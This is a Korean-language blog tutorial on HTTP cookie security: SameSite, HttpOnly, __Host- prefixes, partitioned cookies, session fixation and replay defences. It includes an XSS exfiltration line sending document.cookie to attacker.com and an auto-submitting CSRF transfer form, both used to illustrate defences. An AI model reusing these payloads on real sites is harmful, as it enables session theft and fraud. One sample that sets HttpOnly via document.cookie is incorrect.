-
HTTP Cookie Deep Dive: 웹 상태 관리의 핵심실제 경험과 인사이트를 AI와 함께 정리한 글 2025. 12. 22. 14:40
작성일: 2025년 12월 22일
카테고리: Web, HTTP, Security
키워드: HTTP Cookie, Session, Security, SameSite, HttpOnly, Secure요약
HTTP는 본질적으로 무상태(Stateless) 프로토콜이다. Cookie는 이 무상태 프로토콜에서 상태를 유지하기 위해 1994년 Netscape에서 도입한 메커니즘이다. 이 글에서는 Cookie의 내부 동작 원리부터 보안 속성, 실무에서 마주치는 문제들과 해결 방안까지 깊이 있게 다룬다.
Cookie의 탄생 배경
HTTP의 무상태 특성
HTTP 프로토콜은 각 요청이 독립적이다. 서버는 이전 요청에 대한 정보를 기억하지 않는다.
GET /page1 HTTP/1.1 Host: example.com (서버는 이 요청을 처리하고 잊는다) GET /page2 HTTP/1.1 Host: example.com (서버 입장에서 이것은 완전히 새로운 클라이언트일 수 있다)이 설계는 서버 확장성 측면에서 유리하지만, 로그인 상태 유지, 장바구니 기능 등 상태가 필요한 기능 구현이 불가능하다.
Lou Montulli의 해결책
1994년 Netscape의 엔지니어 Lou Montulli가 "Magic Cookie" 개념을 HTTP에 도입했다. 이 개념은 Unix 시스템에서 프로그램 간 데이터를 전달하는 불투명한(opaque) 데이터 조각에서 유래했다.
Cookie 동작 메커니즘
Set-Cookie 헤더
서버가 클라이언트에게 Cookie를 설정하는 방식이다.
HTTP/1.1 200 OK Set-Cookie: session_id=abc123; Path=/; HttpOnly; Secure; SameSite=Lax Set-Cookie: user_preference=dark_mode; Path=/; Max-Age=31536000Cookie 헤더
클라이언트가 서버에 Cookie를 전송하는 방식이다.
GET /api/user HTTP/1.1 Host: example.com Cookie: session_id=abc123; user_preference=dark_mode전체 흐름도
sequenceDiagram participant Browser participant Server Browser->>Server: POST /login (credentials) Server->>Server: 인증 처리 Server-->>Browser: 200 OK + Set-Cookie: session_id=abc123 Note over Browser: Cookie 저장 Browser->>Server: GET /dashboard + Cookie: session_id=abc123 Server->>Server: session_id로 사용자 식별 Server-->>Browser: 200 OK (사용자별 데이터)Cookie 속성 상세 분석
Domain과 Path
Set-Cookie: token=xyz; Domain=example.com; Path=/apiDomain 규칙:
- 명시하지 않으면 Cookie를 설정한 정확한 호스트에만 전송
Domain=example.com설정 시sub.example.com을 포함한 모든 서브도메인에 전송- 상위 도메인 설정 불가 (보안상 이유)
Path 규칙:
/api설정 시/api,/api/users,/api/v1/data등에 전송/설정 시 모든 경로에 전송
// 실무 예시: API와 페이지별 Cookie 분리 // 인증 토큰 - API 경로에만 document.cookie = "auth_token=xxx; Path=/api; Secure; HttpOnly"; // UI 설정 - 전체 사이트 document.cookie = "theme=dark; Path=/";Expires와 Max-Age
# 절대 시간 지정 Set-Cookie: persistent=value; Expires=Thu, 22 Dec 2026 00:00:00 GMT # 상대 시간 지정 (초 단위) Set-Cookie: persistent=value; Max-Age=31536000속성 동작 우선순위 Expires 지정된 날짜/시간에 만료 Max-Age가 있으면 무시됨 Max-Age 지정된 초 후 만료 우선 적용 둘 다 없음 브라우저 종료 시 삭제 (Session Cookie) - HttpOnly
Set-Cookie: session_id=abc123; HttpOnlyJavaScript에서 접근 불가:
// HttpOnly가 설정된 Cookie는 읽을 수 없음 console.log(document.cookie); // session_id 포함되지 않음XSS 공격으로부터 세션 탈취를 방어한다:
// 공격자의 악성 스크립트 // HttpOnly 덕분에 session_id 탈취 실패 fetch('https://attacker.com/steal?cookie=' + document.cookie);Secure
Set-Cookie: auth=token123; SecureHTTPS 연결에서만 Cookie 전송. HTTP 요청에서는 해당 Cookie가 포함되지 않는다.
https://example.com/api → Cookie 전송됨 http://example.com/api → Cookie 전송 안 됨SameSite (CSRF 방어의 핵심)
2016년에 도입되어 현재 모든 주요 브라우저에서 지원하는 속성이다.
Set-Cookie: csrf_token=abc; SameSite=Strict Set-Cookie: session_id=xyz; SameSite=Lax Set-Cookie: tracking=123; SameSite=None; Secure값 Cross-Site 요청 시 Cookie 전송 사용 사례 Strict 전송 안 함 금융, 결제 등 민감한 작업 Lax Top-level navigation (링크 클릭)만 전송 일반적인 세션 관리 (기본값) None 항상 전송 (Secure 필수) 서드파티 위젯, 임베드 콘텐츠 CSRF 공격 시나리오와 SameSite 방어:
<!-- attacker.com의 악성 페이지 --> <form action="https://bank.com/transfer" method="POST"> <input name="to" value="attacker_account"> <input name="amount" value="10000"> </form> <script>document.forms[0].submit();</script>SameSite=Strict 또는 Lax가 설정되어 있다면,
attacker.com에서bank.com으로의 요청에 Cookie가 포함되지 않아 공격이 실패한다.실무에서 자주 발생하는 문제들
1. Third-Party Cookie 차단
Chrome의 Privacy Sandbox 정책으로 서드파티 Cookie가 점진적으로 차단되고 있다.
영향받는 기능:
- 서드파티 로그인 위젯
- 크로스 사이트 트래킹
- 임베디드 콘텐츠의 인증
대응 방안:
// Storage Access API 사용 document.requestStorageAccess().then(() => { // 서드파티 Cookie 접근 가능 }).catch(() => { // 사용자가 거부하거나 브라우저가 차단 // 대체 인증 방식 제공 });2. SameSite=None 설정 시 주의사항
# 잘못된 설정 - Secure 없이 None 사용 Set-Cookie: id=123; SameSite=None # 브라우저가 Cookie를 거부하거나 SameSite=Lax로 처리 # 올바른 설정 Set-Cookie: id=123; SameSite=None; Secure3. Cookie 크기 제한
RFC 6265에서 정의된 최소 요구사항:
- Cookie 당 최소 4096 bytes
- 도메인 당 최소 50개 Cookie
- 총 최소 3000개 Cookie
실제 브라우저별 제한은 다르다:
브라우저 Cookie 당 크기 도메인 당 개수 Chrome 4096 bytes 180개 Firefox 4097 bytes 150개 Safari 4096 bytes 제한 없음 (전체 크기 제한) 대용량 데이터 처리:
// 잘못된 방식 - Cookie에 대용량 데이터 저장 document.cookie = `cart=${JSON.stringify(largeCartData)}`; // 4KB 초과 시 잘림 // 올바른 방식 - 서버 세션 또는 별도 스토리지 활용 document.cookie = "cart_id=abc123"; // ID만 저장 // 실제 데이터는 서버 세션 또는 IndexedDB에 저장4. Cookie와 CORS
Cross-Origin 요청에서 Cookie를 전송하려면 양쪽 설정이 필요하다:
클라이언트:
fetch('https://api.example.com/data', { credentials: 'include' // Cookie 포함 });서버:
Access-Control-Allow-Origin: https://app.example.com # * 불가 Access-Control-Allow-Credentials: trueAccess-Control-Allow-Origin: *와credentials: include는 동시에 사용할 수 없다. 명시적인 Origin을 지정해야 한다.보안 관점의 Cookie 설정 가이드
세션 Cookie 권장 설정
Set-Cookie: session_id=<cryptographically-random-value>; Path=/; HttpOnly; Secure; SameSite=Lax; Max-Age=3600Remember Me Cookie
Set-Cookie: remember_token=<signed-token>; Path=/; HttpOnly; Secure; SameSite=Strict; Max-Age=2592000CSRF Token Cookie
Set-Cookie: csrf_token=<random-value>; Path=/; Secure; SameSite=Strict # HttpOnly 없음 - JavaScript에서 읽어서 헤더에 포함해야 함Cookie Prefixes: 추가 보안 계층
RFC 6265bis에서 도입된 Cookie Prefix는 Cookie 이름에 특수 접두사를 붙여 브라우저가 추가 보안 검증을 수행하도록 강제한다.
__Secure- Prefix
Set-Cookie: __Secure-session=abc123; Secure; Path=/브라우저 검증 조건:
Secure속성 필수- HTTPS 연결에서만 설정 가능
HTTP 연결이나 Secure 속성 없이 설정하려 하면 브라우저가 거부한다.
__Host- Prefix
Set-Cookie: __Host-session=abc123; Secure; Path=/브라우저 검증 조건:
Secure속성 필수Path=/필수 (루트 경로)Domain속성 없어야 함 (정확한 호스트 매칭)
# 거부됨 - Domain 속성 존재 Set-Cookie: __Host-session=abc; Secure; Path=/; Domain=example.com # 거부됨 - Path가 루트가 아님 Set-Cookie: __Host-session=abc; Secure; Path=/api # 허용됨 Set-Cookie: __Host-session=abc; Secure; Path=/__Host-Prefix는 서브도메인 탈취 공격을 방어한다. 공격자가evil.example.com을 통해example.com의 Cookie를 덮어쓰는 시나리오를 원천 차단한다.실무 적용 패턴
// 최고 수준의 세션 보안이 필요한 경우 func SetSecureSessionCookie(w http.ResponseWriter, token string) { cookie := &http.Cookie{ Name: "__Host-session", Value: token, Path: "/", Secure: true, HttpOnly: true, SameSite: http.SameSiteStrictMode, } http.SetCookie(w, cookie) }CHIPS: Partitioned Cookies
Cookies Having Independent Partitioned State(CHIPS)는 서드파티 Cookie 차단 정책에 대한 대응책으로 2023년에 도입되었다.
문제 상황
서드파티 Cookie 차단으로 다음 시나리오가 불가능해졌다:
사이트 A (first-party) → 임베드된 서비스 B (third-party) 사이트 C (first-party) → 임베드된 서비스 B (third-party) 서비스 B가 Cookie를 설정하면: - 기존: A와 C 모두에서 동일한 Cookie 공유 (크로스 사이트 트래킹 가능) - 차단 후: Cookie 설정 자체가 불가능CHIPS 해결책
Set-Cookie: __Host-session=abc123; Secure; Path=/; PartitionedPartitioned속성은 Cookie를 설정한 top-level 사이트별로 Cookie를 분리 저장한다:사이트 A에서 서비스 B 접근 → Cookie: (A, B) 파티션에 저장 사이트 C에서 서비스 B 접근 → Cookie: (C, B) 파티션에 저장 (A, B) 파티션의 Cookie는 (C, B)에서 접근 불가사용 사례
결제 위젯:
# payment.example.com이 merchant-a.com에 임베드될 때 Set-Cookie: __Host-payment_session=xyz; Secure; Path=/; Partitioned; SameSite=None채팅 위젯:
# chat.service.com이 여러 고객사 사이트에 임베드될 때 Set-Cookie: __Host-chat_token=abc; Secure; Path=/; Partitioned; SameSite=None제약 사항
Partitioned는 반드시Secure,Path=/와 함께 사용__Host-Prefix 권장- 기존 서드파티 Cookie와 달리 크로스 사이트 상태 공유 불가
Cookie와 브라우저 저장소의 격리 모델
Same-Origin Policy vs Cookie의 Origin 개념
JavaScript의 Same-Origin Policy와 Cookie의 Origin 개념은 다르다:
Same-Origin Policy (JavaScript):
https://sub.example.com:443 ≠ https://example.com:443 (서브도메인이 달라도 다른 Origin)Cookie Origin:
Domain=example.com 설정 시: https://sub.example.com → Cookie 전송됨 https://other.example.com → Cookie 전송됨 (서브도메인 전체에서 Cookie 공유)이 차이로 인해 발생하는 보안 문제:
sequenceDiagram participant Attacker as evil.example.com participant Victim as app.example.com participant Browser Note over Attacker: 공격자가 서브도메인 하나를 탈취 Attacker->>Browser: Set-Cookie 응답 (session=malicious) Note over Browser: Cookie가 example.com 전체에 적용 Browser->>Victim: GET /api 요청 (탈취된 Cookie 포함) Note over Victim: 공격자가 설정한 세션으로 요청됨방어:
__Host-Prefix 사용 (Domain 속성 금지)- 민감한 Cookie는 Domain 속성 미설정
Public Suffix List
브라우저는 Public Suffix List(PSL)를 사용하여 Cookie 설정 범위를 제한한다:
# 거부됨 - .com은 public suffix Set-Cookie: tracking=123; Domain=.com # 거부됨 - .co.uk은 public suffix Set-Cookie: tracking=123; Domain=.co.uk # 허용됨 - example.com은 registerable domain Set-Cookie: tracking=123; Domain=example.com주의할 점:
github.io,herokuapp.com등 PaaS 도메인도 PSL에 포함되어 있어, 해당 플랫폼에서 호스팅하는 사이트 간 Cookie 공유가 불가능하다.Session Fixation과 Cookie 재생성
Session Fixation 공격
sequenceDiagram participant Attacker participant Victim participant Server Attacker->>Server: 세션 생성 요청 Server-->>Attacker: Set-Cookie 응답 (session_id=KNOWN_VALUE) Attacker->>Victim: 피싱 링크 전달 (KNOWN_VALUE 세션 포함) Victim->>Server: 로그인 요청 (KNOWN_VALUE 세션 사용) Server->>Server: 기존 세션에 인증 정보 연결 Note over Attacker: 공격자가 KNOWN_VALUE로 접근 시 피해자로 인증됨방어: 인증 시 세션 재생성
func LoginHandler(w http.ResponseWriter, r *http.Request) { // 1. 기존 세션 무효화 oldSessionID, _ := r.Cookie("session_id") if oldSessionID != nil { sessionStore.Delete(oldSessionID.Value) } // 2. 인증 수행 user, err := authenticate(r) if err != nil { http.Error(w, "Unauthorized", 401) return } // 3. 새 세션 생성 (핵심) newSessionID := generateCryptographicallySecureID() sessionStore.Set(newSessionID, user) // 4. 새 Cookie 설정 http.SetCookie(w, &http.Cookie{ Name: "__Host-session", Value: newSessionID, Path: "/", Secure: true, HttpOnly: true, SameSite: http.SameSiteStrictMode, }) }Cookie Replay Attack 방어
문제
Cookie가 탈취되면 공격자가 해당 Cookie로 무한정 요청을 재생(replay)할 수 있다.
방어 전략 1: 짧은 TTL + Refresh Token
type SessionTokens struct { AccessToken string // 짧은 수명 (15분) RefreshToken string // 긴 수명 (7일), 1회용 } func SetTokenCookies(w http.ResponseWriter, tokens SessionTokens) { // Access Token - 짧은 수명 http.SetCookie(w, &http.Cookie{ Name: "__Host-access", Value: tokens.AccessToken, Path: "/", MaxAge: 900, // 15분 Secure: true, HttpOnly: true, SameSite: http.SameSiteStrictMode, }) // Refresh Token - 긴 수명, /auth/refresh에서만 전송 http.SetCookie(w, &http.Cookie{ Name: "__Host-refresh", Value: tokens.RefreshToken, Path: "/auth/refresh", MaxAge: 604800, // 7일 Secure: true, HttpOnly: true, SameSite: http.SameSiteStrictMode, }) }방어 전략 2: Token Binding
세션을 클라이언트 특성에 바인딩:
type BoundSession struct { UserID string Fingerprint string // User-Agent + Accept-Language + 기타 헤더 해시 CreatedAt time.Time LastIP string } func ValidateSession(r *http.Request, session BoundSession) error { currentFingerprint := computeFingerprint(r) if session.Fingerprint != currentFingerprint { // 다른 환경에서의 접근 - 재인증 요구 return ErrSessionEnvironmentMismatch } // IP가 급격히 변경된 경우 (선택적) if session.LastIP != getClientIP(r) { log.Warn("IP changed for session", session.UserID) // 민감한 작업 시 추가 인증 요구 } return nil }분산 환경에서의 Session Cookie
Sticky Session의 한계
로드 밸런서가 특정 클라이언트를 항상 같은 서버로 라우팅하는 방식:
Client A → (Cookie: server=node1) → Load Balancer → Node 1 Client B → (Cookie: server=node2) → Load Balancer → Node 2문제점:
- 서버 다운 시 세션 손실
- 불균형한 부하 분산
- 스케일 다운 시 세션 마이그레이션 복잡
Stateless Session: JWT in Cookie
Set-Cookie: __Host-token=eyJhbGciOiJIUzI1NiIs...; Secure; HttpOnly; Path=/장점:
- 서버 측 세션 저장소 불필요
- 수평 확장 용이
단점:
- 토큰 크기가 커서 매 요청마다 오버헤드
- 즉시 무효화 불가능 (만료 시간까지 유효)
Hybrid: Cookie + Centralized Session Store
// Redis를 이용한 분산 세션 func GetSession(sessionID string) (*Session, error) { data, err := redis.Get(ctx, "session:"+sessionID).Bytes() if err == redis.Nil { return nil, ErrSessionNotFound } if err != nil { return nil, err } var session Session json.Unmarshal(data, &session) return &session, nil } func SetSession(session *Session) error { data, _ := json.Marshal(session) return redis.Set(ctx, "session:"+session.ID, data, time.Hour, // TTL ).Err() }설계 고려사항:
- Redis Cluster 또는 Sentinel로 고가용성 확보
- 세션 데이터는 최소화 (사용자 ID + 권한 정도만)
- 민감한 데이터는 세션에 저장하지 않음
브라우저별 Cookie 정책 차이
Safari의 ITP (Intelligent Tracking Prevention)
Safari는 가장 공격적인 Cookie 정책을 적용한다:
시나리오 Safari 동작 서드파티 Cookie 완전 차단 퍼스트파티 Cookie (JS 설정) 7일 후 만료 퍼스트파티 Cookie (서버 설정) 설정된 만료일 유지 Cross-Site 트래커로 분류된 도메인 24시간 후 Cookie 삭제 실무 영향:
// Safari에서 7일 후 사라짐 document.cookie = "preference=dark; max-age=31536000";# Safari에서 정상 동작 Set-Cookie: preference=dark; Max-Age=31536000; Secure클라이언트 측에서 장기 설정을 저장해야 할 경우,
document.cookie대신 서버 응답의Set-Cookie를 사용하거나 localStorage를 고려해야 한다.Firefox의 Total Cookie Protection
Firefox는 서드파티 Cookie를 "파티셔닝"하여 CHIPS와 유사하게 동작한다. 명시적인
Partitioned속성 없이도 자동 적용된다.Chrome의 Privacy Sandbox 로드맵
Chrome은 서드파티 Cookie를 2025년까지 단계적으로 폐지할 예정이었으나, 2024년 7월 계획을 철회했다. 대신 사용자 선택권을 강화하는 방향으로 선회했다.
교훈
1. 보안 속성은 선택이 아닌 필수
HttpOnly, Secure, SameSite는 "있으면 좋은" 기능이 아니다. 설정하지 않으면 XSS, CSRF, 중간자 공격에 노출된다.
2. Cookie는 인증 토큰용으로 최적화되어 있다
대용량 데이터 저장, 클라이언트 전용 상태 관리에는 적합하지 않다. 각 HTTP 요청에 Cookie가 포함되므로 불필요한 데이터는 다른 저장소를 사용한다.
3. Cross-Site 시나리오를 항상 고려한다
서드파티 Cookie 정책 변화, SameSite 기본값 변경 등 브라우저 정책이 지속적으로 강화되고 있다. 새 기능 구현 시 Cross-Site 동작을 반드시 테스트한다.
참고 자료
공식 문서
- RFC 6265 - HTTP State Management Mechanism
- RFC 6265bis (draft) - Cookie Prefixes, SameSite 등 최신 확장
- MDN - HTTP Cookies
브라우저 정책
보안 가이드
'실제 경험과 인사이트를 AI와 함께 정리한 글' 카테고리의 다른 글
Claude Code가 AGENTS.md를 무시할 때: 심볼릭 링크 해결법 (0) 2025.12.25 Google Antigravity 업데이트 주의: 같은 폴더에서 AI 도구 동시 사용 시 작업 손실 위험 (0) 2025.12.22 Next.js + Tailwind CSS v4 + shadcn/ui 테마 시스템 구축 가이드 (0) 2025.12.22 GORM 실무 트러블슈팅: 운영 환경에서 만난 함정들 (0) 2025.12.22 GORM 기반 엔터프라이즈 Go API Server 아키텍처 (0) 2025.12.22